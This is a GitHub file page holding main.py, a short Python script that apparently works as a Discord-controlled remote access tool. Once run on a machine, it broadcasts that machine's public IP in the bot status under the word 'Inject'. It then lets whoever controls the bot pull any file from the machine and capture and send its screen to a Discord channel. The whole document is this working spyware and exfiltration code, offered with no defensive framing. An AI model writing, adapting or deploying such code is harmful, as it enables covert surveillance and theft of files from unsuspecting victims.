-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmain.py
More file actions
33 lines (29 loc) · 1.03 KB
/
main.py
File metadata and controls
33 lines (29 loc) · 1.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import discord
from discord.ext import commands
import requests
import os
import pyautogui
client = commands.Bot(command_prefix="/")
client.remove_command("help")
name = os.getenv("UserName")
BotToken="YOUR-BOT-DISCORD-TOKEN"
def GetIP():
return requests.get("https://api.ipify.org/").text
@client.event
async def on_ready():
await client.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=f"Inject {GetIP()}"))
print("Script started")
@client.command()
async def download(ctx, IP, path):
if IP == GetIP():
await ctx.send(file=discord.File(f"{path}"))
@client.command()
async def screenshot(ctx, IP):
if IP == GetIP():
myScreenshot = pyautogui.screenshot()
myScreenshot.save(f'C:\\Users\\{name}\\screenshot1.png')
await ctx.send(f"Screenshot was save to: ('C:\\Users\\{name}\\screenshot1.png')")
await ctx.send(file=discord.File(f"C:\\Users\\{name}\\screenshot1.png"))
else:
await ctx.send("Error")
client.run(BotToken)